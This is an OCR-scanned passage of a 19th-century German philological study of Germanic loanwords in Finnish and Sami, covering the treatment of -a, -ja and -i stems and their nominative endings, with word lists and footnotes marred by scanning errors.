svainesit (ebenda 21, 36), svaidnesit (ebenda v. 84) als svaid-
nasit (ebenda v. 35; 22, 3. 4); hier ist, wenigstens nach dem nw.-l.
zu schliessen, das letztere gewiss das richtige. Dagegen hat das
nw.-l. nur in dreisilbigen wörtem -as im nominativ. Um den belieb-
ten trochaischen tonfall hervorzubringen, kann bei diesen noch ein -a
angefügt werden, wie gonagassa, j etanassa.
Stämme auf -a. 87
habicht (s. 72); kampa, kämm; kakkula, zugstrang,
skökull; kattila, kessel; keula, steven, kjöll; kihla,
verlöbniss , gisl ; -kunta, gebiet , got. - kunds ; leipä,
brod, hleifr; laukka, laucb; lautta, fahre, floss, ahd.
flö0; murkiaa, frühstück; parma= paarmas; pöytä,
tisch, bjöär (neutr.?); rauma, ström; ruhtina = ruhti-
nas; santa, sand; sauma, säum; satula, sattel; taina,
sprössling^ teinn; turska^ dorsch; vuokra, zins, got.
vökrs; — 1. arbbe, das erbe; ajgge, zeit; baevdde,
tisch; dorske, dorsch; farbme, ladung, farmr; fal)me,
Umarmung; galbbe, kalb; gardde, zäun, hof, garär;
-godde, gebiet; guobme, gaumen , e/omr ; lajbbe, brod;
lavkke, lauch; ludne, rolle, hlunnr; marfe, wurst, mörr;
radde, brand; skalvve, Schneewehe, skafl; vakke,
bucht, vdgr; (aran, pl. -ak, heerd?).
(i) adjectiva: f. arka, feig, argr; n arka, eng (s. 78);
raaka, roh; verta, gleich, verär; — 1. argge, feig.;
buojdde, fett; dierbbe, keck, frech, djarfr.
Betrachten wir zuerst die endung -as, die ausser in
den hierher gehörigen Wörtern nur in ganz wenigen andern
vorkommt (worüber alsbald unten), so ist es schwierig, ein-
zusehen, warum sie so oft und gerade in dieser klasse
gebraucht sein sollte, wenn nicht bereits in der stamm-
sprache eine besondere veranlassung dazu vorhanden gewesen
wäre. Es liegt demnach die annähme sehr nahe, dass die-
selbe ebenso wie in den aus dem litauischen aufgenommenen
Wörtern erklärt werden und also einer ursprünglichen nomi-
nativform entsprechen muss, welche nicht nur die flexions-
endung -s (entweder rein oder möglicherweise bereits als
einen übergangslaut, doch jedesfalls nicht reines r, vgl. s. 76), 76
sondern zugleich den alten stammauslaut bewahrt hatte. ^
1) Im lappischen (schwerlich jemals im finnischen) ist -es nach
analogie bisweilen an jüngere enÜehnungen angefügt, namentlich an
adjectiva, z. b. fin es, fein; sw. -1. keres, lieb, werth, karr, viel-
leicht auch in dem einen oder dem andern der oben angeführten worte.
Am meisten bedenken erregen einige sw. -1. Wörter; zum theil kann
diess vielleicht daher rühren, dass die dürftigen hilfsmittel die abso-
lute und die attributive form der adjectiva vermischt haben, welche
88 Stamme auf -a.
Der nominativ muss in der germanischen grundsprache die
mit den übrigen indogermanischen sprachen übereinstim-
mende endung -a-s gehabt haben; der stammanslaut -a-,
der im gotischen fortgeworfen ist, hat sich noch in den
ältesten nordischen runeninschriften erhalten, wo es in
neuester zeit geglückt ist, ungefähr ein dutzend sichere
beispiele für die nominativ endung -|^Y -ötE (oder -az?
jedesfalls ist dieses aus urspr. s entstandene Y R verschie-
den vom gewöhnlichen R r) nachzuweisen. *
Was die andere endung -a, 1. -e, angeht, so kann
man* nicht leugnen, daiss sie in ächi)en werten ziemlich die
gewöhnlichste ist * und dass man sich dadurch verleiten las-
sen könnte^ sie in le|^nwörtern als einen bloss zufälligen
Zusatz zu betrachten. Aber nach der analogie der endung
-as und in anbetracht, dass die endung -a, wie wir unten
sehen werden, fast nie bei i- und u- stammen vorkommt,
wird es in hohem grade wahrscheinlich, dass man hier,
wenigstens in den ältesten entlehnungen , den ursprünglichen
Stammauslaut wie in den litauischen werten wiederfindet. Spe-
ciell muss man wol, jedesfalls bei den snbstantivis , an die
accusativform denken, die ja auch in den ältesten runen-
denkmälem auf -|5-a (für *-an, *-am) endigt und zugleich
den Stammauslaut länger bewahrt zu haben scheint, als der
nominativ.^ Dass indessen f. -a, 1. -e auch wirklich ein
zufälliger zusatz sein kann, zeigen die s. 82 angefahrten
beispiele, die theils wegen der bedeutung, theils wegen der
übrigen form unmöglich so alt sein können, sondern aus
letztere oft ein s von ganz anderem ursprange annimmt. Im livischen
hat die endung - s offenbar in einer späteren periode j vieUeicht durch
einfluss des lettischen, eine sehr ausgebreitete an w endung bekommen
und ist auch oft an einheimische Wörter angefügt, die in den übrigen
sprachen auf einen vocal endigen.
1) S. Bugge in der Tidskr: f. Philol. VI, s. 317; VE, s. 219,
225 u. s. w. Wimmer, Navneordenes böjn. i sBldre dansk, s. 45 f. id.
in den Aarbb. for nord. Oldkynd. 1867, s. 53. 1868, s. 72. Möbius
in Kuhns Zeitschr. XVm, s. 154 ff.
2) Vgl. Bergstadi in der ztschr. Suomi 1859, s. 164 ff. u. s. w.
3) Wimmer, N.-o. böjn. s. 46. Bugge a. a. o. VII, s. 220, 231,
237 und öfter. Möbius a. a. o.
Stämme auf «a. 89
»
einer zeit stammen müssen, wo ein a höchstens noch im
nom. und acc. pl. vorhanden war; möglicherweise kann es
sich ebenso mit diesem oder jenem der hier oben angefohr- 77
ten werte yerhalten, deren alter sich nicht nach anderen
kennzeichen bestimmen lässt. Ich wage deshalb nicht wei-
ter zu gehen, als anzunehmen^ dass die endung -a in den
zahlreichen, in die finnischen sprachen aufgenommenen wer-
ten dieser Hasse wol ursprünglich von der deutlichen bewah-
rung des stammauslautes in der queUensprache bedingt war,
dass aber dann die analogie in guter Übereinstimmung mit
den auslautsgesetzen der finnischen sprachen auch die
anfügung eines a an ähnliche Wörter bewirkt haben kann,
nachdem der stammauslaut in den nordischen sprachen so
gut wie verschwunden war, bis es endlich gewöhnlicher
wurde, ein -i an alle Wörter anzufügen, die auf einen con-
sonanten auslauten. ^
Neutra.
Die gewöhnliche endung ist hier im finn. -a, im läpp,
-e; sie muss im ganzen ebenso erklärt werden, wie die
entsprechende der masculina, nur dass sie hier natürlich
auch vom ursprünglichen nomin ativ herstammen kann. Ein
beweis für das ältere Vorhandensein des stammauslautes in
den nordischen sprachen im nom. und acc. sing, ist z. b.
das H5il^'l'l^ horna des goldenen homs, » späterem altn.
hörn. Beispiele .sind f. hunaja, honig; huotra, sdheide,
got. ßdr; kauppa, handel, kaup; kulta, gold (s. 73);
laina, lehn (s. 57); liina, lein, tuch; lupa, erlaubniss,
lof; mitta, mass, met; murha, mord; nauta, vieh, naut;
panta, band; raippa, seil, reip; riutta, riflf, grjöt;
teit a, betthimmel, tjcdd; tila, platz, gelegenheit (s. das
1) Sehr selten sind andere endungen; -o kommt vor in f. heimo,
geschlecht, heimr; jniisto, käse (s. 66); kerno = kernas; pelto,
feld; 1. ajbmo (8.65); bffilddo = f. pelto; saddo, sw.-l. sadde,
sand, nnd favrro, schön, fagr^ und vielleicht ein paar anderen; in
einigen kann es später hinzugefügt sein (s. 83) , in anderen vielleicht
eine Veränderung von -a (vgl. unten die an -stamme) oder eine ablei-
tung (vgl. B. 29, note 1). Vereinzelt steht f. kapris, kauris, bock, hafr.
1
90 Stämme auf -a.
wortverz.); valta, macht, vcdd; vamma, körperlicher feh-
ler, vamm; viina, wein, vm; — 1. badde, band; bardde,
ende des kiels beim vorder- und hinterste ven, harä; bordde,
tisch, bord; dakke, dach; dadne, zinn; dieldde, see-
hundsfell auf dem Schlitten, tjald; divrre, thier; garre,
geföss; gavppe, handel; golle, gold; guölbbe, ftiss-
boden; lajrre, thon; lifse, kerze; lidne, tuch; loppe,
erlaubniss; mad de, fischerplatz, mid; majdne, fehler,
78 mein; navdde, thier; radde, rath; rajppe, seil; rasse,
gras; saitte, salz; s ar je, wunde (s. 57); spidne, schwein;
stalle, stahl; sw.-l. vuordne, hörn.
In einigen ganz vereinzelten werten kommt die endung
-as wie bei den masculinis vor, nämlich f. lammas,
schaf, altn. u. got. lamb; mallas, malz (s.73); 1. labbes,
lamm;^ mal es, mahlzeit, mdl.^ Vielleicht beruht diess
nur auf einer falschen Vermischung mit den masculinis. Im
entgegengesetzten falle kann ich, da es jedesfalls allzu
gewagt sein würde, eine Veränderung des genus im germa-
nischen anzunehmen, nur die vermuthung aufstellen, dass
wir hier eine spur der endung haben, welche als -(i)r im
plural gewisser neutra in den deutschen (westgermanischen)
sprachen auftritt, z. b. ahd. lamp, pl. lempir, ags. lamb,
pl. lambru; ursprünglich ist diess eine ableitungsendung =
skr. -as, gr. og, gen. eog, lat. -ws, gen. -eris (got. in
einigen werten -is, stamm -isa-). * Was indessen diese
vermuthung etwas zweifelhaft macht, ist namentlich, dass
diese endung sich nicht fflr alle die angeführten werte nach-
1) Wahrscheinlich aus dem finn. entlehnt, doch so, dass die
bedeutung vom nord. beeinflusst wurde.
2) Zweifelhafter in f. lannas, gen. lantaan, grund, strand;
lunnas, lösegeld (vgl. lunastaa, loskaufen); porras, treppe, steg;
teuras, Schlachtvieh, s. das wortverz.
3) Vgl. Grimm, Deutsche Gramm. II*, s. 270. Schleicher, Comp,
d. vgl. gr. 2, §245, s. 522; ders., Die Deutsche Sprache, s. 244 f.
Kelle, Vgl. Gramm, d. germ. Spr. I, s. 494;, ff. In den nordischen
sprachen kommt diese endung nur in dem wort hcens, hühner, vor,
woher 1. vuonces, vuoncca, huhn, hahn; vgl. unten unter den
i - stänmien.
Stämme auf -a. 91
weisen lässt, und dass ihr a frühzeitig zu i geworden zu
sein scheint.
Eine spur des u^ das in den nordischen sprachen durch
dep Umlaut im neutr. pl. sich zu erkennen gibt, findet sich
noch in f. joulu (1. juovia, oder häufiger im pl. juov-
ia k), Weihnachten, jol, neutr. pl. ^
Feminina.
Der Stammauslaut der feminina ist eigentlich -a; im
gotischen ist er im nom. und acc. zu -a verkürzt, im altn.
zu u geworden, das dann abfiel, aber im umlaut eine spur
hiuterliess. In der ältesten runensprache ist noch kein
sicheres beispiel für diese formen angefunden, und es lässt
sich deswegen nicht bestimmt entscheiden, wie sie da gelau-
tet haben oder welche Übergangsstufen zwischen dem a und
dem u Überhaupt im nordischen stattgefunden haben. Im
finn. bekommen die fem. die endungen -a, -o oder -u, im 79
läpp, fast immer -o, selten -e. Pinnische beispiele sind:
a) auf -a: akana, spreu, got. ahana; kansa, volk, got
hansa; kasa, häufen, kös; k auta, Oberleder am schuh,
got. skauda-; laita, seite, weg, leid; markka, mark,
(geld, mass), mörk; multa, staub, got. mulda; niekla,
nadel, got. nepla; nuotta, netz, not; paita, hemde, got
paida; panka, metallspange , spöng; raaka, rahe, stange
(s. 74); saha, säge, sog; — ß) auf -o: airo, rüder, dr;
autio, wüste (s. 72); kaso = kasa; kauto = kauta;
runo, gedieht, rün; sakko, geldbusse, sök; tanko,
Stange; tauko, tau, taug; — y) auf -u: arkku, kästen,
örk; kautu == kauto; panku, pankku = panka;
suru, sorge (s. 72). Als beispiele des lappischen lassen sich
anführen: a) auf -o: ajrro, rüder; arkko, kästen, darbbo,
bedürfniss, ßörf; dievddo, mannsperson, fjöd; fadno,
angelica, hvönn; farro, Wanderung, för; fiello, bret,
diehle, fjöl; galggo, altes weib, kerling; gierddo, fass-
reif, gjörd; lajddo, seite, weg; lavggo, bad, laiig;
1) Die endung -o kommt vor in f. jukko, joch, -e' in f. tade',
mist; f. turve*, torf, gehört kanm hierher.
92 Stämme auf -ja.
nallo, nadele ndl; sadSo, kleie, sdä; sakko, geldbusse;
stadfo, landuDgsplatz , stöä; staggo, stange; uddo,
wunde, und; ullo, wolle; sw.-l. sako, säge; skabmo,
schäm, skömm; skuoudo, scheide, sJccmä; studdo, ein
stück weges, stund; surgo, sorge; — ß) auf -e: bajdde^ «
hemde; gaij^e, gesellschaft; nuötte, netz.
Die deutlichste von diesen endungen ist läpp, -o, wel-
ches offenbar die altn. form in einer älteren, vollständigeren
gestalt voraussetzt; -e kommt wol nur in einigen wenigen
Worten vor, die das läpp, mit dem finn. gemein hat, und
die wahrscheinlich aus diesem entlehnt sind. Schwieriger
ist es, zu einer richtigen einsieht in die finnischen formen
zu gelangen und diese mit den vorhin besprochenen endun-
gen der masculina und neutra zu vereinigen. Die endung
-a kann aus -ä entstanden (vgl. s. 33), bisweilen wol auch
ein späterer Zusatz sein; in einer anzahl von werten scheint
sie jedoch direct dem got. -a zu entsprechen, vgl. f. halla,
nachtfrost, = lit. s^alfiä; villa, wolle, = lit. vilnä. Der
Wechsel mit o und u könnte darauf hindeuten, dass die
endung doch nicht reines -a gewesen sei, ja, -o (welches
hier verhältnissmässig häufiger ist, als in den andern ge-
schlechtern) und namentlich -u scheinen doch am ehesten
auf die nordischen formen hinzuweisen.
80 Ib. Stämme auf -Ja.
Diese weichen bekanntlich in einigen der indogermani-
schen sprachen mehr oder weniger von den übrigen a -stam-
men ab. Im litauischen und lettischen tritt z. b. in den
meisten werten eine contraction ein; eine geringere anzahl
bleibt uncontrahiert und hat also nichts weiter abweichen-
des. ^ Wie weit dieser unterschied in allen einzelnen fällen
sich in den ins finnische aufgenommenen Wörtern verfolgen
lässt, will ich hier nicht untersuchen; ich führe nur einige
beispiele an, aus denen man ersieht, dass die endungen
deutlich ausgeprägt und übrigens in derselben weise ent-
1) Vgl. Schleicher, Handb. d. lit. spr. I, s. 174 ff. Bielenstein,
Die lett. Spr. 11, s. 43 ff.
St&mme auf -ja. 93
standen sind, wie bei den im vorhergehenden besprochenen
Worten, — z. b. f. ankerias, ehst. angerias, angerja,
wot. anggerias, liv. angers, anger', aal, = Utungur^s;^
£, weps., ehst. kirves, wot. öirves, axt, == lit. kirvis;
f. herne", weps. herneh, ehst. hernes, (herne), wot.
erne, erbse, = lit Mmis; f. kärme', schlänge, *= lit
Jcirmis; weps. kurdi§, wot. kurre, ehst. kur't, gen. -r'di
(f. kuuro), taub, = lit. kurcisas; f. keli, weg, winterweg,
t=r lit. kelias (kelis)^ weg; f., wot. metsä, weps. mets,
gen. -an, ehst. mets, mots, gen. -a, liv. mötsa, wald,
läpp, maecce, wüste, ui-wald, = lit. medis (contr.),
gen. medäo (für *mßdio)j bäum, lett. mesch (uncontr., für
*medjas), wald; f., wot tyhjä, weps. tühj, gen. -an,
ehst. tühi, gen. -hja, liv. tu ja, leer, läpp. duSde, nichts,
= lit tuszczas (d. h. *tu8ztjas), lett tuksch, leer (vgl. altsl.
tüStl); f. harja, weps. harj, gen. -an, ehst hari, sari,
gen. -rja, wot arja, Hv. ör'a, ära, bürste, kämm, —
lit. szer^s, lett saris, bürste; fem. f. morsian, braut,
8. 85 note 2.
In den germanischen sprachen weichen die j'a- stamme
auch ab, aber wie bekannt in verschiedener weise je nach
der beschaffenheit des stanmies. Die substantiva, welche üi
die finnischen spracEen in einer alten form aufgenommen
sind^ enden im masc. und neutr. gewöhnlich im finn. auf
-ja, -ia, im läpp, auf -je, (-ja), -e (s. 77), ohne dass
es, wie es scheint^ möglich ist, einen unterschied zwischen
den beiden unterabtheilungen zu finden.^ Beispiele sind
f. lattia, fiissboden, fld; patja^ Unterbett, got badi;
vaaja, keil (? s. 77); — läpp, avje, heu; duögje, arbeit, 81
got tauiy gen. töjis;^ sw.-l. sturje, aujfruhr, styrr;
1) Mit tm- für an-, s. Schleicher a. a. o. s. 47.
2) Dürfte man vielleicht annehmen, dass derselbe im germanischen
einmal ein ähnlicher gewesen sei, wie im finnischen, nämlich dass der
stammanslant nur nach einer kurzen Wurzelsilbe -ja- war, sonst
aber -ia-?
3) Vgl. Bugge in der Tidskr. f. philol. VII, s. 224. Das verhält-
niss zu dem gleichbedeutenden f. työ, das schwerlich davon getrennt
werden kann, ist mir nicht ganz klar; es scheint da eine contraction
94 Stämme auf -ja.
bivgge, gerste, hygg; gicce,^ zicklein, hiä\ ladde,
tuch, Mteäi; lakke, kette, Mdckr; latte, fussboden;
lifse, thran, Ipsi; skärrek, sw.-l. skarjah pL, scheere,
shjBri; stivrre, Steuerruder, stpri, vermuthlich auch sw. - 1.
auöe, prunus padus, heggr (s. 78). Wie in sw.-l. skar-
jah scheint sich das a erhalten zu haben in skavöda^
hart, skegg, sowie in uvja, daunen, sofern übrigens diess
wort alt ist^ vgl. s. 61 f. In f. miekka und dem daraus
wieder entlehnten 1. miekke = got. mekeis kann vielleicht
ein j ausgelassen sein (vgl. s. 78 note 1). Mit der endung
-i gehört noch hierher f. kari, klippe, sker, und wahr-
scheinlich f. ammatti, amt, handwerk^ got. andbahti;
ausserdem findet sich f. -i, 1. -a entsprechend dem altn.
-tr und -i z. b. in f. äyri, öre, eyrir; merkki, zeichen,
merki; pöysti, Schinken, heysti; riiki, reich, HM; läpp,
mserkka, rika, skierak oder skasrak, kleine scheere.
Ebenso ist es möglich, dass die sehr gewöhnliche und auch
auf ächte werte übertragene ableitungsendung f. -ari (-uri),
1. -ar, ursprünglich als ^'a- stamm (got. -areis) aufgenom-
men ist und dadurch ein für alle mal ihre feste form be-
kommen hat, obwol andererseits die meisten lehn werte mit
dieser endung erst dann aufgenommen sind , als diese in den
nordischen sprachen zur flexion der aw- stamme übergegan-
gen waren (s. unten). Ein sicheres beispiel der bewahmng
der ältesten nominativform in masc. wie -jas, -ias oder
wie sie sonst heissen würde , weiss ich nicht für die substan-
tiva. * Anders verhält es sich dagegen mit den adjectivis,
die jedoch richtiger unter den i- stammen zu behandeln sind.
Das einzige von denselben , das deutlich als ja - stanmi her-
vortritt, ist f. autia, öde, got. aups^ acc. aupjana,
eingetreten zu sein (vgl. s. 23). Oder sollte es mit dem verbum tehdä,
1. pers. teen, thun, in Verbindung stehen, vgl. savolaks. myö, wir,
työ, ihr, == gew. me, te?
1) Hier ist das c wahrscheinlich aus dj entstanden, wie ts in f.
paatsa, sattelkissen , einer nehenfonn von patja; vgl. auch oben
f. metsä, 1. msßcce, wo jedoch der Übergang in ts möglicherweise
bereits durch das lit. dz' begründet sein könnte.
2) Könnte f. kauppias, kaufmann, einem nicht vorkommenden
altn. keypir entsprechen?
Stämme auf -ja und auf -i. 95
Die feminina auf -ja haben dieselben endungen wie die 82
im vorhergehenden besprochenen ö- stamme, nur mit mehr
oder weniger deutlichen spuren des J, z. b. f. hartia, har-
tio, Schulter, herä-ar'; lantio, becken, lende (auch
lanne% gen. -nteen, lende, vgl. unten), vitja, kette,
viä^ pl. -jar; — läpp, akäo (§ für sj), axt, g. aqizi, avjo,
schneide, egg, harddo, schulter, mukko, mist, mykr,
rivggo, bäuerin, r^gfr, suddo, Sünde, skalööo, schale,
skel, got. sJcalja. In diesen Wörtern hat das nordische den
Stammauslaut spurlos verloren; aber z. b. avjo, skalööo
zeigen, dass es einmal formen wie *agju, *skalju gehabt
haben muss.
2. Stttmme auf -i. 83
Als beispiele für die behandlung dieser stamme bei
entlehnungen aus dem litauischen können dienen f. pirtti,
weps. pert, gen. -in, 1. bartta, stube, rauchstube, = lit.
pirtlSf acc. pirt{, lett. pirts, badestube, stube zum flachs-
brechen (vom verbum periü, perti, schlagen, baden); f.
hanhi, gen. hanhen, ehst. hani, gen. haue, hani,
wot. ani, (1. öuögi?a), gans, = lit. zqm, älter und nie-
derlit. zansis, lett. füss.^ Ein beispiel mit bewahrter nomi-
nativendung bin ich nicht im stände anzugeben; im finn.
würde hier wol in diesem falle am ehesten -e' (oder -es)
wie bei den ja -stammen eintreten.
Bei werten germanischen Ursprungs sollte man ebenso
die endung -i erwarten und diese kommt auch wirklich
vor. Aber ob dieses - i in irgend einem falle als der 84
ursprüngliche stammauslaut betrachtet werden kann, wird
sehr unsicher dadurch, dass -i, wie wir oben gesehen haben,
derjenige vocal ist, welcher am gewöhnlichsten an alle jün-
geren lehnworte angefügt wird, und weil ausserdem keines
der wenigen werte, von denen hier die rede sein könnte,
1) P. udin, uudin, gen. utimen, bettumhang, = lit. udiSj
gewebe (Nesselmann), vgl. morsian s. 85, note 2. — Sowollit. pirtls
als zqsis sind ursprünglich consonantische stamme. Sollte vielleicht
der umstand, dass i in f. hanhi in der flexion zu e wird, eine
erinnerung daran sein?
/
96 Stamme auf -L
sonst eine entschieden alte form hat. F., wot. sali, saal^
erweist sich z. b. bestimmt als eine neuere Entlehnung aus
dem schwedischen, ebenso wie ehst säl', gen. sali offenbar
aus dem deutschen entlehnt ist; die Übereinstimmung mit
der altn. und gemeingermanischen Stammform sali- (vgl.
'i1^^ scdi' als erstes glied eines compositums auf dem
Bergastein) muss also rein zufällig sein. Ebenso verhält es
sich mit f. vahti, wacht, L habma, feil, hamr^ u. m. a.
Am ehesten könnte vielleicht f. mahti, macht, bes. durch
Zauberei und gesang, erlaubniss,^ durch seine bedeutong
und seine etwas grössere Verbreitung auf eine zeit hinwei-
sen, wo der stammauslaut noch bewahrt war.
Etwas mehr und deutlichere, von den a -stammen
bestimmt geschiedene spuren finden sich von der ursprüng-
lichen nominativform. Wir betrachten erst die adjectiFa.
82 Im gotischen gibt es bekanntlich eine reihe dieser, die nur
im nom. masc. und fem. den i- stammen angehört, indem sie
hier auf -8 für älteres *-is endigen, während alle übrigen
casus nach der Ja-flexion gebildet werden; dasselbe muss
gewiss auch im altn. der fall sein, vgl. -MI^RIY -fi^rilt
auf dem scheidebeschlag von Thorsbjerg « goi mers, altn.-
isl. mcerr.^ Hierzu stimmt vollkonmien f. kaunis, schön,
got. sJcauns, dat. skaunjamma^ und tiuris, tyyris (vgl.
s. 61), theuer, dyrr, ahd. tiuri. Erinnert man sich nun,
dass dem finn. i im läpp, a entspricht, so findet man' also
ganz dieselbe endung hier wenigstens in den werten div ras,*
1) Vgl. z. b. Kalevala 12, 430; 16, 152. 324; 17, 146. 525. 530.
An mehreren stellen steht es im pl. paraUel mit sano j a, Zauberworte,
n. desgl. Diess erinnert an got. mähteis pl. , dwafietg, wunder, welche
indess yielleicht nur eine sklavische nachahmung des griechischen ist.
Die lautverbindung ht im finn. beweist nichts, da dieselbe eben so
gut von fft, kty wie aus urspr. ht kommen kann.
2) In den westgermanischen sprachen lautet dagegen auch der
nom. ganz wie bei substantivis auf -ja, wie z. b. ahd. und alts. märi.
Ob diese Wörter alle ursprünglich i- stamme sind oder wenigstens zum
theil auch Ja -stamme, ist hier für unsern zweck gleichgültig.
1) Nach Friis soll die form divres die gewöhnUche sein (vgl.
Läpp. Gramm, s. 22. 47) und so hat auch Leem. Dagegen hat Stock-
fleth (Ordbog s. 127. 365) divras und als meine gewähr für diese
stamme auf -i. 97
•
theuer; (g)ruonas (seltener auch ruona), grün, grcmn, 83
ahd. gruoni ; s u o t a s , süss , sodr , ahd. suozi , und ohne
zweifei auch arvas, freigebig, orr.^ Ferner wird wahr-
scheinlich dieselbe endung durch -e^ (vgl. alsbald unten) in
dem f. subst. erhe% irrthum, wiedergegeben, welches ich
geneigt bin mit dem adj. zusanmienzustellen, das got. im
nora. pl. airzjai (der nom. sg. ist unsicher) , ahd. irri lau-
tet. * Das einzige adj. von dieser form mit der endung - i a
ist das schon oben angeführte f. autia, öde; aber da fehlt
auch ganz richtig das nominativzeichen - s. ®
fonn kann ich zugleich einen eingebornen Lappen von Karasjok anfüh-
ren,- welcher nur diese anerkennen wollte, so wie im essiv nur divra-
sen. Da ausserdem jedesfalls die attributive form divras oder
divrras ist (s. z. b. Bibbalhist. 1866, s. 87, z. 7 und s. 183, z. 16),
während alle übrigen adjectiva auf - e s hier theils unverändert bleiben,
theils auf - a oder - e endigen (s. Früs , Läpp. Gr. § 54 , 9 , vergl. 8,
Rask, Läpp. Sprogl. s. 97), so zweifele ich durchaus nicht daran, dass
die form auf -as die ächte und ursprüngliche, und die auf -es ein
späteres verderbniss ist, das zwar sonst ziemlich selten ist, sich aber
doch um so leichter erklären lässt, als die worte auf -as und der
gröste theil derer auf -es in den meisten casus ausser nom. zusam-
menfallen. Auch Lindahl und Ohrling haben nur deuras (oder deu-
rok, *quidam scribunt tiwras'); diebibelübersetzung von 1811 hat
attributiv deuras Matth. 26, 7. ApocaL 18, 16, aber deures Apoc.
18, 11; Tomaeushat tiures Spr. Salom. 20, 15 (1811 deurok); 26,8.
Ebensosehr schwanken die sw.-l. quellen in den übrigen Worten. So
haben Lind. u. öhrl. 'gruonas vel gruodnes & gruonok' und in
den beispielen als attrib. gruones ; Tornaeus hat kruanas Pred. 2, 6;
kroanes (1811 gruonas) Pav. psalm 23, 2; kruonas (1811
gruodnes) Jes. Syr. 14, 19, alle attrib., ebenso 1811 gruonas
Marc. 6, 39, gruones Apocal. 8, 7, und absolut gruonas das. 9, 4!J
1) Vgl. got. arvjöy (^wQ8((v; Grimm, D. Gr. III, s. 101, vgl. s.234.
Im altn. scheint der stamm jedoch arva- zu sein.
2) Vgl. f. ailas, ailut, schmerz= got. agls afoxQog, ctglus
üuoxoXog.
3) Dagegen hat das sw.-l. audes, welches wol dem nord. a-
stamm auär entspricht. Ueber sw.-l. r aines, rein, und faiges,
dem tode nahe , feigr , wage ich wegen der unzuverlässigkeit der quel-
len nicht zu entscheiden. F. rikas, reich, rikr ^ mächtig, ahd. rlchi,
ist wol unregelmässig wie ein a -stamm behandelt (oder sollte ein j
nach k abgeworfen sein können, vgl. oben miekka?); auffallend ist
hier übrigens auch das kurze i, so wie die unursprüngliche bedeutung
* reich.'
Thomsen, Einfluss d. germ. sprachen. 7
d8 Stämme auf -i.
84 Ebenso wie bei den hier besprochenen adjectivis kommt
die endung -is auch im finnischen bei dem Substantiv ruis,
gen. ruki(h)in, roggen, rugr^ gen. rugar^ vor; indessen
könnte diess wort vielleicht auch aus lit. rugps, gewöhnlich
im pl. rugd, vom stamm rugja-, entlehnt sein. Im übrigen
findet sich die endung -e' (dialektisch -et) in f. pale*^
oder palje', gen. palkeen, blasebalg, got. halgs*^ hame\
rock, kleid, hamr\ pade', gewöhnlich pl. p a teet, wege,
steige, ahd. päd, pl. jpee?f, sowie in palle\ gen. palteen,
falte, einfassung, dessen grundform jedoch weniger sicher
ist und nur in den westgermanischen sprachen als i- stamm
erscheint (vgl. ferner erhe* s. 97). Betrachten wir einer-
seits den Übergang der lit. Ja -stamme, andererseits die
merkwürdig klare weps. form palgiS, gen. palghen,
erbsenschote , « f. palje", ^ sowie auch die ableitung pal-
listaa, falten, von palle*^ (vgl. z. b. paljastaa, ent-
* blossen/ von paljas, nackt), so scheint kein zweifei darüber
85 walten zu können, dass auch das -e' in den genannten wer-
ten, selbst wo es durch alle dialekte durchgeht, aus einem
ursprünglichen -is entstanden ist. Für diese form bieten
wieder die ältesten nordischen runendenkmäler ein schlagen-
des beispiel in dem -XI^^TIY -gcistiB des goldenen horns
und des Bergasteins, in welchem man gewiss mit Bugge
einen dem got. gasti-, nom. gasfs entsprechenden i- stamm
sehen muss. *
Alle die hier genannten werte sind ursprünglich mascu-
lina. In der Sprachgestaltung, auf welche diese lehnworte
zurückweisen , müssen indessen die feminina ohne zwetfel
dieselbe endung gehabt haben, vgl. got. ansts^ acc. anst
ebenso wie gasts, acc. gast. Ein ganz sicheres zeugniss
hierfür kann ich im finnischen nicht nachweisen; denn bei
1) So weps. rahkis, gen. rahkhen, jochseil, = f. rahe', gen
rahkeen; weps kurdis, gen. kurdhen, taub, = wot. kurre
(s. 93), sowie weps. rugis, gen. rugihen, = f. ruis. VgL auch
f. kauneus, kar. kaunehus, Schönheit, von kaunis. Vgl. s. 55.
2) In der Tidskr. f. PhUol. VII, s. 218, 245 f., 313.
stamme auf -i. d9
kaide', weberkamm, skeid^ und luode', wasserfluth, nord-
westwind (s. das wortverz.), kann man über die ursprüng-
liche form des Stammes in den germanischen sprachen in
zweifei sein, bei vaate', kleidung, vdä^ über die form der
endung im finnischen.^ Dagegen ist die endung -is nach
den gewöhnlichen lautübergängen in 1. urtas, kraut, got 86
vaurts und aurti-, und in sw.-l. vadas, grobes wollen-
zeug, vdä, vorauszusetzen. Von der Vermischung mit den
a -Stämmen, die bei fem. frühzeitig im altn. wenigstens im
nom. und acc. sing., den einzigen flexionsformen,* die hier
in frage kommen können, eingetreten ist, kommen nur ein-
zelne spuren besonders im lappischen vor, wie z. b. sw.-l.
suokno, kirchspiel, söhn, imd vielleicht noch einige wenige
(1. viste, s. 83). Bei masculinis findet eine solche Ver-
mischung schwerlich irgendwann deutlich statt.
In einigen Wörtern, die vor dem stammauslaut einen
dental haben, treten im läpp, einige eigenthümliche über-
gangsformen ein, die wir besonders betrachten müssen.
Diese Wörter sind zunächst savcca, gen. savca, schaf,
sattär, in allen mundarten; nw.- und sw.-l. lakca oder
1) Nach Fritzner hat altn. skeid' (in allen bedeutüngen) impl. nur
'ir, nach Johnsen -ar und -ir, während Sv. Egilsson nur ein beispiel
für 'ir, aber 4 für -ar und 4 für -r anführen kann (alle freilich in
der bedeutung * navis cursoria'). Vgl. unten s. 105.
2) Ingofern weps. väteh im gen. nicht, wie man erwarten sollte,
väthen hat, sondern vätken. Die finn. worte auf -e', gen. e(h)en,
sondern sich nämlich im weps. in zwei verschiedene abtheilungen. Die
eine hat im gen. -ehen, -hen, wo das h aus älterem s entstanden
sein muss; in der anderen, wozu namentlich eine anzahl ableitungen
aus verbis gehören , tritt dagegen in der flexion ein g oder k ein (gen.
-egen, -ken), welches also vermuthlich das ursprüngliche sein muss.
W^ie streng dieser unterschied durchgeführt ist , weiss ich nicht genau ;
wenn man nicht eine Vermischung der beiden abtheilungen annehmen
kann, muss wol in dem genannten worte eine weitere ableitungsendung
hinzugefügt sein; jedesfalls kann man dessen Zusammenhang mit altn.
väd und verwandten Wörtern kaum bezweifeln. — Wie die endung in
f. tarve', gen. -rpeen, bedürfniss, aufzufassen ist, wage ich nicht
zu entscheiden; einen unmittelbar entsprechenden i- stamm kenne ich
in den älteren german. Isprachen nicht; erst im altsw. hat parf im pl.
ausschliesslich parvir. S. Eydqvist, Sv. spr. 1. II, s. 61.
7*
100 Stamme auf -i.
lafca, gen. lavca, rahm, flautir pl., und vielleicht sw. - 1.
grauca (oder rakca), grütze, brei, grautr^ gen. -tar.^
Es fragt sich nun, auf welche weise der laut c (d. h. ts)
